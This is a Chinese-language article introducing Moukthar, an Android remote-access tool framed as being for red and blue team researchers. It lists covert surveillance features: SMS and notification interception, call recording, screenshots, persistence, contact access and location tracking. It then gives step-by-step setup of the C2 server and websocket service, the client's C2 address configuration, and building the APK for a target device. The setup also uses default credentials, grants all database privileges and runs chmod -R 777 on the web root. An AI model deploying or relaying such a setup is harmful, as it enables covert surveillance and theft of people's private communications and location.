Moukthar是一款功能强大的远程安全监控和管理工具,该工具针对Android操作系统平台设计,适用于红队和蓝队研究人员,可以帮助广大研究人员对目标Android设备执行远程安全监控和管理操作。
1、通知监听器;
2、SMS监听器;
3、电话通话录音;
4、图像捕捉和屏幕截图;
5、持久化执行;
6、读取/写入通讯录;
7、枚举已安装的应用程序;
8、下载/上传文件;
9、获取设备地理位置信息;
php
composer
mysql
php-mysql驱动程序
apache2
a2enmod
广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/Tomiwa-Ot/moukthar.git
安装工具所需的全部依赖组件,然后将项目中服务器端(Server)相关的文件移动到“/var/www/html/”中,并安装依赖即可:
mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .
工具默认凭证的用户名为“android”,密码为“the rastafarian in you”。
使用下列语句创建一个新的sql用户:
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
分别在c2-server/.env和web-socket/.env这两个文件中设置数据库凭证,然后执行database.sql文件。
下列命令可以在Linux操作系统中开启Web Socket服务器并以服务形式进行部署:
php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
修改“/etc/apache2/sites-available/000-default.conf”:
<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
修改“/etc/apache2/apache2.conf”:
Comment this section #<Directory /> # Options FollowSymLinks # AllowOverride None # Require all denied #</Directory> Add this <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
在“/etc/php/*.*/apache2/php.ini”文件中增加php文件上传的最大大小:
; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M
在“c2-server/src/View/home.php”和“c2-server/src/View/features/files.php”中的<script>标签内设置Web Socket服务器地址:
const ws = new WebSocket('ws://IP_ADDRESS:8080');
使用下列命令重启apache:
sudo a2enmod rewrite && sudo service apache2 restart
修改“functionality/Utils.java”文件,在客户端中设置C2服务器和Web Socket服务器地址:
public static final String C2_SERVER = "http://localhost"; public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
最后,使用Android Studio编译APK文件并部署至目标设备中即可。
本项目的开发与发布遵循GPL-3.0开源许可协议。
Moukthar:【GitHub传送门】